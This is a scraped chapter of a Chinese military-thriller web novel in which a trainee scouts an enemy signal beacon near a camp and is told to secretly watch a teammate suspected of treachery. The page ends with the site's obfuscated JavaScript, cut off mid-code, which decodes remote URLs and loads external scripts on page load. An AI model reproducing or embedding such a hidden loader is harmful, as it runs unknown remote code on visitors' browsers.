首页
第29章 暗夜信号
返回
关灯 护眼:关 字号:小

第29章 暗夜信号

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第29章暗夜信号(第1/2页)
    庆功夜的酒精在血液里停留的时间比陈野预期的更久。
    第二天清晨五点,生物钟准时将他唤醒时,宿醉的钝痛正敲打着太阳穴。他躺在床上,盯着宿舍天花板上斑驳的水渍,昨晚的记忆像潮水般涌回——毒蛇的狙击手故事,死神的格斗与背叛,收割者失去的弟弟米沙,魅影的黑客逃亡,铁砧的药物实验,还有Ghost最后的宣告:他们都是黑暗联盟的猎物,幽灵小队是他们的避难所和反击武器。
    陈野坐起身,手不自觉地摸向胸口。狼头吊坠还在,金属的冰凉触感让他清醒了一些。他把它塞进T恤里,贴肉戴着。
    窗外天色还是深蓝,训练营的探照灯已经熄灭,只有几盏安全灯在营区边缘闪烁。远处传来早起的鸟鸣,但很快被风吹散。
    陈野穿上训练服,系好鞋带,悄无声息地走出宿舍。走廊里空无一人,其他队员还在沉睡——昨晚喝到凌晨两点,现在正是深度睡眠时间。
    但他睡不着。不是酒精,是那些故事。那些破碎的人生,那些被迫的选择,那些在绝望中抓住Ghost伸出的手的人们。现在,他也是其中之一。
    训练场在晨雾中显得空旷而寂静。陈野开始慢跑,沿着煤渣跑道一圈圈地绕。脚步很轻,呼吸平稳,这是他二十年来养成的习惯——用跑步整理思绪,用身体的节奏平复内心的混乱。
    跑了五公里后,他开始加速。不是训练要求的配速,是他自己的节奏,马拉松运动员的节奏。每一步都精准,每一次呼吸都深长,肌肉记忆接管了身体,大脑终于可以暂时放空。
    但放空不了太久。
    Ghost的话在耳边回响:“你的基因数据三个月前被异常访问过……黑暗联盟想要的东西,从来没有得不到的。”
    陈野加快速度。煤渣在脚下发出沙沙声,像某种警告。
    跑了十公里,汗水浸湿了训练服。他停下来,走到单杠区,开始做引体向上。一组二十个,做了五组。然后是俯卧撑,仰卧起坐,深蹲。不是训练计划,是他自己的加练——用身体的疲惫对抗内心的不安。
    做完最后一组深蹲时,天已经亮了。东方的天空泛起鱼肚白,训练营的轮廓在晨光中逐渐清晰。陈野喘着气,双手撑在膝盖上,汗水滴落在地面,形成小小的深色斑点。
    “起这么早?”
    声音从身后传来。陈野转身,看到收割者站在训练场边缘,手里拿着一个军用水壶。壮汉穿着简单的黑色背心和迷彩裤,看起来也是刚起床。
    “睡不着。”陈野说。
    收割者走过来,递过水壶:“喝点。电解质水,我自己调的。”
    陈野接过,喝了一口。味道有点咸,但很解渴。
    “昨晚的故事让你不安?”收割者问。他的声音比平时柔和一些,也许是因为清晨的宁静。
    “有点。”陈野承认,“不只是故事,是……整个局面。我们对抗的是一个全球组织,而我只是个跑步的。”
    收割者沉默了一会儿,看着东方的天空。晨光在他脸上投下淡淡的金色。
    “我以前也这么想。”他说,“在乌克兰军队时,我觉得自己只是个矿工的儿子,凭什么对抗那些有坦克有飞机的人。但后来我明白了——他们也是人,会流血,会死。区别只是,他们选择站在黑暗那边,我们选择站在光这边。”
    “光这边?”陈野苦笑,“我们杀人,收割者。昨天我杀了三个人。”
    “对。”收割者点头,“但你没杀无辜的人。你杀的是来抓你、杀你队友的人。这是自卫,不是谋杀。区别很重要。”
    陈野没说话。他想起卡洛斯倒下的样子,想起那双失去焦距的眼睛。自卫还是谋杀?界限在哪里?
    “你会习惯的。”收割者说,“不是变得麻木,是学会承受。就像你跑步——第一次跑马拉松,三十公里后你觉得要死了,但你还是跑完了。第二次,第三次,痛苦还在,但你知道自己能承受。杀人也一样。”
    “我不确定我想习惯。”陈野低声说。
    收割者看了他一眼,眼神复杂。有理解,也有某种程度的警告。
    “那你得尽快决定,野狼。”他说,“在这个世界里,犹豫会害死你,也会害死队友。Ghost选择你,是因为你有潜力。但潜力需要决心来兑现。”
    说完,他拍了拍陈野的肩膀,转身离开了。脚步声在清晨的寂静中显得格外沉重。
    陈野站在原地,看着收割者的背影消失在营房拐角。他想起昨晚收割者讲述米沙故事时的颤抖,想起那双紧握的拳头。这个沉默的壮汉心里有一团火,一团为弟弟复仇的火。
    而陈野呢?他有什么?除了跑步,除了耐力,除了不想被拖进实验室的本能恐惧?
    他深吸一口气,继续训练。
    ---
    白天是常规训练,但气氛明显不同。
    Ghost的腿伤还没好,拄着拐杖监督。训练内容调整了——更多实战对抗,更多针对城市巷战和室内近距离战斗的演练。毒蛇增加了移动目标狙击训练,死神教了新的穴位打击技巧,魅影开始教电子战基础,铁砧则带着他们进行重武器快速部署练习。
    每个人都更专注,更严肃。昨晚的庆功夜像一道分界线,之前是训练营学员,之后是幽灵小队预备队员。区别在于责任——现在他们知道自己在为什么而战。
    陈野学得很快。他的危机直觉在实战对抗中再次显现,总能提前半秒感知到危险,做出规避或反击。毒蛇评价:“你的眼睛在找生存路线,不是杀人路线。这很好,也很危险——太注重生存,有时会错过杀敌机会。”
    下午的室内近距离战斗训练中,陈野和收割者搭档。两人一组,模拟清理建筑物内的敌对武装。收割者负责破门和火力压制,陈野负责快速突入和精准射击。
    第三次演练时,陈野在突入一个房间后,发现“目标”是一个抱着孩子的“平民妇女”。他犹豫了半秒,没有开枪。就在那半秒里,收割者从身后冲进来,一枪击毙了“妇女”——训练用的激光模拟系统显示,她藏在孩子身后的手握着引爆器。
    “犹豫会死。”收割者说,声音没有责备,只是陈述事实。
    “但她抱着孩子。”陈野说。
    “那是假目标。”收割者指着训练室角落的监控屏幕,上面回放着刚才的场景,“你看,孩子是塑料娃娃,妇女的引爆器在第三帧就露出来了。你看到了,但没相信自己的眼睛。”
    陈野盯着屏幕。确实,在突入的瞬间,他瞥到了引爆器的金属反光,但大脑拒绝相信——一个抱着孩子的妇女怎么会是自杀式袭击者?
    “黑暗联盟会用任何手段。”收割者说,“孩子,老人,孕妇。他们不在乎道德,只在乎结果。你要学会相信自己的直觉,而不是常识。”
    陈野点头。他知道这是对的,但心里某个部分在抗拒。如果连抱着孩子的人都要怀疑,都要准备开枪,那他还剩下多少人性?
    训练结束后,Ghost把他叫到一边。
    “今天表现不错。”教官说,“但有问题。”
    “我知道。”陈野说,“犹豫。”
    “不只是犹豫。”Ghost摇头,“是你还在用普通人的道德标准衡量战场。在战场上,没有平民和战士的绝对界限。只有威胁和非威胁。抱着孩子的妇女,如果她手里有引爆器,就是威胁。你的任务是消除威胁,保护队友和任务目标。道德评判留给战后,如果还有战后的话。”
    陈野沉默。这些话他理解,但接受需要时间。
    “给你个任务。”Ghost说,“今晚加练。不是体能,是侦察。我要你熟悉训练营外围三公里内的所有地形,包括可能的渗透路线、观察点、撤离通道。一个人去,不带武器,只带眼睛和脑子。”
    “为什么?”陈野问。
    “因为你是我们中野外生存能力最强的。”Ghost说,“马拉松运动员的耐力,对地形的敏感度,还有你的危机直觉。如果黑暗联盟再来,他们可能从任何方向渗透。我需要有人提前发现他们。”
    陈野点头。这个任务他擅长——跑步,观察,记忆地形。这让他感觉回到了熟悉的领域。
    “什么时候开始?”
    “晚饭后。天黑透之前出发,凌晨两点前回来。记住,只是侦察,不要接触任何可疑目标。如果发现异常,立刻撤回报告。”
    “明白。”
    ---
    晚上八点,训练营陷入夜晚的宁静。
    陈野换上深色训练服,脚上是软底跑鞋,脖子上挂着夜视望远镜——魅影改装过的民用型号,增加了热成像功能。腰包里装着水壶、能量棒、简易医疗包,还有一部加密对讲机,频率只连接Ghost的单兵电台。
    没有武器。Ghost坚持这一点:“不带武器,你会更谨慎,更注重隐蔽。而且如果真遇到敌人,你的任务是逃跑,不是战斗。”
    陈野从训练营西侧的围墙缺口离开——那是故意留的漏洞,用来测试外围安防。缺口很小,需要侧身挤过,但一旦出去,就是茂密的灌木丛和起伏的山地。
    哥伦比亚的夜晚很凉。海拔两千多米的训练营所在山区,气温降到十度左右。陈野做了几个热身动作,然后开始慢跑。不是直线前进,是之字形路线,不断变换方向和速度,避免被可能的观察者预测轨迹。
    他的眼睛在适应黑暗。月光被云层遮挡,能见度很低,但夜视望远镜弥补了这一点。绿色的视野里,树木变成深浅不一的轮廓,岩石呈现冷色调,小动物偶尔闪过,留下短暂的热信号。
    第一公里,他沿着训练营外围的警戒线跑。铁丝网上挂着运动传感器和摄像头,但魅影说过,这些设备有盲区——每隔五十米有一个三米宽的监控死角,是安装时的设计缺陷。陈野记下这些死角的位置,想象如果自己是渗透者,会如何利用。
    第二公里,他进入更深的树林。这里没有人工照明,只有月光偶尔从云缝中漏下。陈野放慢速度,改为快走,同时用望远镜扫描四周。他的耳朵也在工作——听风声,听虫鸣,听任何不自然的声响。
    训练营建在山谷里,三面环山,只有东侧有一条土路通往外界。陈野现在在西侧的山坡上,从这里可以俯瞰整个营区。他找到一块突出的岩石,趴下来,用望远镜观察。
    营区的灯光在夜色中很显眼。宿舍区、训练场、食堂、指挥中心,每个建筑的位置他都记得。现在从外部看,整个布局像一张摊开的地图,弱点一目了然——北侧的山坡太靠近围墙,南侧的树林太茂密,东侧的土路是唯一通道但也最容易被封锁。
    陈野拿出防水笔记本和铅笔,开始画草图。不是艺术性的描绘,是战术地图——标注视野盲区、可能的狙击点、快速撤离路线。他的手很稳,线条干净利落,这是多年训练养成的习惯:观察,记忆,记录。
    画完草图,他继续前进。第三公里是最危险的一段——要穿过一片开阔地,然后进入对面的山林。开阔地长约两百米,只有稀疏的灌木,如果有人在对面埋伏,这里就是死亡地带。
    陈野在树林边缘停下,用望远镜仔细扫描对面。热成像模式下,没有发现人类大小的热源。但他不放心,决定绕行——从侧面山坡迂回,虽然多走一公里,但全程有树木掩护。
    绕行路线很陡。山坡倾斜超过四十度,地面是松软的腐殖土和碎石,每一步都要小心。陈野手脚并用,像登山一样向上攀爬。汗水再次浸湿训练服,但他没停。这种地形对他来说不算什么——马拉松训练包括山地跑,比这更陡的坡他都征服过。
    爬到半山腰时,他停下来休息。背靠一棵大树,喝了几口水,同时用望远镜观察下方。
    就在这时,他看到了。
    不是人,不是动物,是光。
    很微弱的光,在对面山腰的树林里闪烁。不是持续的光,是规律的脉冲——亮零点五秒,灭两秒,再亮零点五秒。频率固定,像某种信号。
    陈野立刻调整望远镜焦距,切换到热成像模式。但距离太远,热信号很模糊,只能看到一个大概的轮廓——不是人类的热特征,更像电子设备产生的局部热源。
    他记下位置:训练营西北方向,直线距离约一点五公里,海拔比他所在位置低五十米左右。在开阔地对面山林的深处,一个天然岩洞附近——白天训练时,毒蛇曾指过那个岩洞,说那是理想的狙击观察点。
    信号还在继续。亮,灭,亮,灭。节奏不变。
    陈野心跳加速。这不是自然光,不是营区灯光漏出,不是车辆灯光。这是人工信号,而且是有规律的脉冲信号。
    他想起魅影教过的电子战基础:“在战场上,任何规律性的电子信号都值得怀疑。可能是通讯,可能是信标,可能是遥控****。”
    陈野趴得更低,几乎贴在地面上。他关闭望远镜的电源,用肉眼观察。月光从云层缝隙中透出,勉强能看清对面山林的轮廓。那个闪烁的光点很小,但确实存在,在深色的树林背景中像一只眨动的眼睛。
    他看了三分钟。信号持续了三分钟,然后突然停止。
    不是逐渐熄灭,是突然消失,像被关掉了开关。
    陈野等待。五分钟,十分钟。信号没有再出现。
    他决定靠近一点。不是直接前往信号源,而是从侧面迂回,找一个更好的观察位置。他收起望远镜,开始横向移动,保持在山腰的高度,利用树木掩护。
    移动了大约三百米后,他找到另一块突出的岩石。这里视野更好,能看到信号源所在区域的全貌——那是一片相对平坦的林间空地,空地中央有几块大岩石,岩洞在岩石后方。空地边缘有烧焦的痕迹,像是有人曾在那里生火。
    陈野再次打开望远镜,调到最高倍率。热成像模式下,空地没有热源。但当他切换到普通夜视模式时,看到了别的东西。
    空地边缘的灌木丛有被踩踏的痕迹。不是动物踩的——动物不会走直线,不会留下那么清晰的鞋印轮廓。而且不止一个人的脚印,至少三到四个,从不同方向汇聚到空地中央。
    陈野屏住呼吸。他仔细扫描空地中央的岩石区域。在最大的一块岩石侧面,他看到了一个东西——一个黑色的方形设备,大约手掌大小,用胶带固定在岩石缝隙里。设备上有一个小指示灯,现在是熄灭状态。
    就是它。刚才闪烁的信号源。
    陈野用望远镜的拍照功能拍了几张照片。虽然夜视模式下画质粗糙,但足以看清设备的轮廓和安装方式。
    然后他注意到另一个细节:设备旁边,岩石表面有新鲜的划痕。不是自然风化,是工具刻划的痕迹。他调整焦距,勉强能看清刻的是什么——一个符号。
    一个圆圈,里面有个倒三角形,三角形中心有个点。
    陈野没见过这个符号。但他直觉这不是好东西。
    他继续观察空地周围。在另一处灌木丛里,他看到了丢弃的食品包装袋——哥伦比亚本地品牌的压缩饼干,包装很新,没有雨水浸泡的痕迹,说明丢弃时间不超过二十四小时。
    还有烟头。不止一个,散落在空地边缘。陈野数了数,至少六个。过滤嘴是白色的,不是训练营供应的那种棕色过滤嘴。
    有人在这里待过。不止一个人,待了不短的时间,抽烟,吃东西,还安装了一个信号发射设备。
    陈野感到后背发凉。这里距离训练营只有一点五公里,步行二十分钟就能到。而训练营的人完全不知道,就在他们眼皮底下,有人建立了观察点。
    (本章未完,请点击下一页继续阅读)第29章暗夜信号(第2/2页)
    他决定撤回。Ghost的命令很明确:发现异常,立刻撤回报告。
    陈野收起望远镜,开始沿着来时的路线返回。这次他更小心,每一步都确认落脚点,避免发出声响。耳朵竖起来,听任何可疑的声音——脚步声,说话声,设备运转声。
    但除了风声和虫鸣,什么都没有。
    回到训练营围墙外时,已经是晚上十一点。陈野从西侧缺口挤进去,快速穿过训练场,直奔指挥中心。
    Ghost还在那里。教官坐在监控屏幕前,面前摊开着一张地形图,手里拿着红蓝铅笔在标注什么。看到陈野进来,他抬起头。
    “提前回来了。发现什么?”
    陈野把夜视望远镜连接到指挥中心的电脑上,调出拍摄的照片。Ghost看着屏幕,表情逐渐严肃。
    “位置?”他问。
    “训练营西北一点五公里,那个岩洞附近的林间空地。”陈野指着地形图上的相应位置,“至少三到四个人的脚印,新鲜的烟头和食品包装,还有这个。”
    他放大设备照片和符号刻痕。
    Ghost盯着那个符号看了很久。然后他拿起对讲机:“所有队员,指挥中心集合。立刻。”
    五分钟后,幽灵小队全员到齐。毒蛇、死神、收割者、魅影、铁砧,每个人都穿着便服,但眼神清醒,显然都没睡。
    Ghost把照片投到大屏幕上。
    “野狼今晚侦察发现的。西北一点五公里,林间空地,疑似观察点。设备,脚印,生活痕迹,还有这个符号。”
    他指向那个圆圈加倒三角形的符号。
    魅影第一个反应过来:“黑暗联盟的侦察标记。圆圈代表观察范围,倒三角形代表渗透方向,点代表目标优先级——点在中部,表示目标是中等优先级。”
    “中等优先级?”陈野问。
    “意思是他们想抓活的,但如果有必要,可以击毙。”魅影解释,“高等优先级是必须活捉,低等优先级是死活不论。”
    毒蛇凑近屏幕,仔细看设备照片:“这是军用级信号信标。短脉冲发射,频率可调,作用距离五到十公里。通常用于标记位置,引导后续部队或空中支援。”
    “空中支援?”陈野心里一沉。
    “不一定是飞机。”死神说,“可能是无人机,也可能是远程导弹的激光指示目标。但在这个山区,更可能是无人机——小型侦察无人机,携带摄像头或热成像仪。”
    Ghost点头:“所以他们在这里建立观察点,安装信标,可能是为了引导无人机对训练营进行侦察。或者更糟——引导攻击。”
    “为什么现在?”铁砧问,“昨天刚袭击失败,今天就建立观察点?太快了。”
    “也许昨天的袭击只是试探。”收割者说,声音低沉,“测试我们的防御能力,评估我们的战斗力。今天的观察点是第二阶段——详细侦察,制定真正的攻击计划。”
    指挥中心陷入沉默。每个人都盯着屏幕上的照片,盯着那个黑色的设备,盯着那个神秘的符号。
    陈野感到一种冰冷的愤怒。这些人,这些黑暗联盟的人,像猎人一样围着训练营转,把幽灵小队当成猎物。而他们甚至不知道猎人的脸,不知道猎人的数量,不知道猎人什么时候会扣下扳机。
    “我们怎么办?”他问。
    Ghost站起来,拄着拐杖走到地形图前。
    “第一步,加强警戒。”他用红笔在地图上画了几个圈,“毒蛇,你带死神,在训练营制高点建立狙击观察哨,二十四小时轮班。重点监控西北方向。”
    “收到。”毒蛇点头。
    “魅影,启动所有电子监控设备,全频段扫描。如果那个信标再次发射,我要知道频率、持续时间、有没有加密。”
    “明白。”魅影已经开始操作电脑。
    “铁砧,检查所有重武器和弹药储备。如果有攻击,我们要能快速反应。”
    “已经在做了。”铁砧说。
    “收割者。”Ghost看向壮汉,“你带野狼,明天天亮后去那个观察点。不要拆除设备,不要留下痕迹,只是详细侦察。我要知道他们的具体人数、装备水平、可能的撤离路线。”
    收割者点头,看了陈野一眼。陈野也点头,虽然心里有些紧张——近距离侦察一个可能还有敌人的观察点,比远距离观察危险得多。
    “那我呢?”死神问。
    “你负责内部安保。”Ghost说,“检查所有出入口,加固薄弱点,制定紧急撤离计划。如果攻击发生,我要确保每个人都知道该去哪里,该做什么。”
    “明白。”
    Ghost布置完任务,看向所有人:“这次不同昨天。昨天是正面袭击,我们可以反击。这次是侦察和渗透,是暗处的游戏。我们要比他们更暗,更静,更致命。”
    他停顿了一下,眼神扫过每个人的脸。
    “黑暗联盟在试探我们。他们在找弱点,找突破口。我们要给他们看一个没有弱点的堡垒,一个全是尖刺的刺猬。让他们知道,幽灵小队不是那么容易吃的猎物。”
    众人点头。气氛凝重,但没有人害怕。相反,陈野从队友眼中看到了一种近乎兴奋的专注——猎手遇到了真正的对手,游戏升级了。
    “散会。”Ghost说,“各自准备。野狼留下。”
    其他人离开后,Ghost示意陈野坐下。
    “今晚做得很好。”教官说,“发现观察点,及时撤回,报告详细。这是合格的侦察兵表现。”
    “谢谢。”陈野说。
    “但有问题。”Ghost看着他,“你回来的时候,情绪不对。不是害怕,是……愤怒。对吗?”
    陈野犹豫了一下,然后点头:“对。他们就在那里,看着我们,计划着怎么抓我们。我觉得自己像笼子里的动物。”
    “正常反应。”Ghost说,“但你要控制它。愤怒会让你冲动,冲动会让你犯错。在暗处游戏里,犯错就是死。”
    “我明白。”陈野深吸一口气,“我会控制。”
    “还有一件事。”Ghost压低声音,“关于收割者。”
    陈野抬头。
    “明天你跟他去侦察,我要你多观察他。”Ghost说,“不是不信任,是……确认。”
    “确认什么?”
    Ghost没有直接回答。他站起来,走到窗边,看着外面黑暗的训练场。
    “收割者是个好战士,忠诚,可靠。但他心里有一团火,为弟弟米沙复仇的火。有时候,复仇的火焰会让人做出不理智的选择。”
    陈野想起昨晚收割者讲述米沙故事时的颤抖,想起那双紧握的拳头。
    “你怀疑他?”他问。
    “不。”Ghost摇头,“但我需要确认,他的忠诚没有动摇。黑暗联盟抓了他弟弟,这是他们控制他的潜在筹码。如果米沙还活着,如果黑暗联盟用米沙威胁他……”
    他没说完,但意思很清楚。
    陈野感到一阵寒意。如果收割者被迫背叛,如果他是内鬼……
    “明天仔细观察。”Ghost重复,“他的行为,他的反应,他有没有隐瞒什么。但不要让他察觉。只是观察。”
    “明白。”陈野说,声音有些干涩。
    “去吧。”Ghost说,“休息。明天会很忙。”
    陈野离开指挥中心。夜风更凉了,吹在汗湿的训练服上,让他打了个寒颤。他走向宿舍,但脚步很慢,脑子里乱成一团。
    观察点,信号信标,黑暗联盟的侦察,还有Ghost对收割者的怀疑。
    这一切发生得太快。昨天他还是训练营学员,今天就成了侦察兵,还要暗中观察自己的队友。
    走到宿舍门口时,他停下脚步。宿舍里亮着灯,透过窗户,他看到收割者正在整理装备——检查夜视仪,调试对讲机,往背包里装食物和水。
    壮汉的动作很专注,很专业。每一个步骤都精确,像机器一样。陈野看着他,试图从这些日常动作中读出什么——紧张?不安?还是正常的备战状态?
    他看不出。收割者总是那样,沉默,专注,像一块岩石。
    陈野推门进去。收割者抬头看了他一眼,点点头,继续整理。
    “明天几点出发?”陈野问。
    “天亮后一小时。”收割者说,“六点。我们需要光线看清细节,但又不能太晚,避免他们可能白天也来观察。”
    “明白。”陈野开始整理自己的装备。水壶,能量棒,医疗包,望远镜,笔记本,铅笔。还有一把匕首——Ghost允许他带这个,只用于自卫。
    两人各自忙碌,没有说话。宿舍里只有装备碰撞的轻微声响。
    整理完装备,陈野躺到床上。他闭上眼睛,但睡不着。脑子里反复播放今晚的画面——闪烁的信号,岩石上的符号,空地里的脚印,还有Ghost的话:“观察他。”
    他侧过头,看向对面的床铺。收割者已经整理完装备,现在坐在床边,手里拿着一个东西。
    一个照片。
    陈野眯起眼睛,借着昏暗的灯光,勉强能看清照片内容——一个少年,大概十五六岁,金色头发,蓝色眼睛,笑容灿烂。背景是乌克兰的乡村,有木屋,有田野,有阳光。
    米沙。收割者的弟弟。
    收割者盯着照片看了很久,手指轻轻抚过少年的脸。然后他叹了口气,把照片收进贴身口袋,躺下,关掉了床头灯。
    宿舍陷入黑暗。
    陈野睁着眼睛,看着天花板。月光从窗户斜射而来,在地板上投出方形的光斑。
    他在想,如果米沙还活着,如果黑暗联盟用米沙威胁收割者,这个沉默的壮汉会怎么选择?是背叛队友救弟弟,还是牺牲弟弟保队友?
    没有正确答案。只有痛苦的选择。
    陈野不知道答案。但他知道,明天他必须观察,必须判断,必须向Ghost报告。
    这是他的责任,作为幽灵小队一员的责任。
    但这也让他感到恶心。刚刚建立信任,就要开始怀疑。刚刚成为队友,就要暗中监视。
    他翻了个身,面向墙壁。手不自觉地摸向胸口的狼头吊坠。
    金属冰凉,但很快被体温温暖。
    “活在一起,死在一起,战斗在一起。”昨晚的誓言还在耳边。
    但如果信任破裂,誓言还有什么意义?
    陈野不知道。他只知道,明天太阳升起时,他要和收割者一起,去侦察那个观察点。
    而他要做的,不只是侦察敌人。
    还要侦察队友。
    夜更深了。训练营的探照灯再次亮起,光柱在夜空中缓慢扫过,像警惕的眼睛。
    但有些东西,光柱照不到。
    比如人心里的黑暗角落。
    比如信任下面的裂缝。
    比如复仇火焰燃烧时,会烧掉什么。
    陈野闭上眼睛,强迫自己睡觉。
    明天需要清醒的头脑,需要敏锐的眼睛。
    需要做出判断。
    无论那判断有多难。
    ---
    第二天清晨六点,陈野和收割者准时出发。
    两人穿着伪装服,脸上涂了迷彩,像影子一样滑出训练营。收割者带路,选择了一条陈野昨晚没走过的路线——更隐蔽,但也更陡峭。
    一路上,收割者几乎不说话。他的注意力完全集中在周围环境上,眼睛不断扫描,耳朵倾听,脚步轻得像猫。陈野跟在他身后,努力模仿这种专业侦察兵的移动方式,同时暗中观察收割者。
    壮汉的表现无可挑剔。每个停顿都合理,每个隐蔽点都选择得当,对危险的感知敏锐。但陈野注意到一个细节:收割者似乎对那个观察点区域特别熟悉。他知道哪里有小路,哪里有天然掩体,哪里可以避开可能的监控视线。
    太熟悉了,像来过很多次。
    到达观察点外围时,收割者示意停下。两人趴在一片茂密的灌木丛后,用望远镜观察空地。
    设备还在那里。脚印更多了——昨晚之后,又有人来过。烟头增加了,还多了一个空的矿泉水瓶。
    收割者仔细记录所有细节,拍照,画草图。他的动作专业而冷静,但陈野看到,当他的望远镜扫过那个黑暗联盟符号时,手指微微收紧。
    “有人来过。”收割者低声说,“不止一次。他们在持续监视。”
    “要拆除设备吗?”陈野问。
    “不。Ghost说要留作诱饵。”收割者收起望远镜,“我们撤。”
    回程路上,陈野终于忍不住问:“收割者,你之前来过这里吗?你对地形很熟。”
    壮汉停顿了一下,没有回头:“侦察过几次。训练营周边我都侦察过。”
    解释合理,但陈野心里那点怀疑没有消失。
    当晚,陈野向Ghost汇报了侦察结果,包括收割者对地形的熟悉程度。Ghost听完,沉默了很久。
    “继续观察。”最后他说,“但不要打草惊蛇。”
    陈野点头,心里却像压了块石头。
    深夜,陈野再次失眠。他走到训练场,想用跑步平复思绪。但刚跑了两圈,就看到一个身影从宿舍区溜出,悄无声息地翻过围墙。
    是收割者。
    陈野停下脚步,躲在阴影里。他看到收割者消失在围墙外,方向是西北——观察点的方向。
    心跳加速。陈野犹豫了几秒,然后跟了上去。他保持距离,利用地形掩护,像影子一样尾随。
    收割者没有去观察点。他绕了个弯,来到训练营北侧的一片密林。在那里,他停下,从背包里拿出一个小型设备——不是通讯器,像某种信号接收器。
    他打开设备,屏幕亮起蓝光。收割者盯着屏幕看了几分钟,然后关闭,收起,转身返回。
    整个过程不到十分钟。但陈野看到了。
    收割者在接收信号。独自一人,深夜外出,秘密接收信号。
    陈野先一步撤回训练营,假装在跑步。几分钟后,收割者翻墙回来,看到陈野,点点头,径直走向宿舍。
    没有解释,没有问候,像什么都没发生。
    陈野继续跑步,但脚步沉重。脑子里反复播放刚才的画面:收割者,密林,信号接收器,蓝光屏幕。
    疑点成立了。收割者可能真的与黑暗联盟有联系。也许是为了米沙,也许是为了别的。
    但陈野没有立刻报告。他需要更多证据,需要确认。
    更重要的是,他需要面对自己的心理矛盾:刚刚建立信任的队友,可能是内鬼。刚刚宣誓的“活在一起,死在一起”,可能是个谎言。
    月光下,陈野跑了一圈又一圈。汗水混合着困惑和痛苦,滴落在煤渣跑道上。
    他不知道该相信谁。不知道该怎么选择。
    只知道,第30章的毕业任务即将到来。而内鬼的阴影,已经笼罩在幽灵小队上空。
    夜还长。疑点还在生长。
    而陈野,必须在信任和怀疑之间,找到自己的路。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD 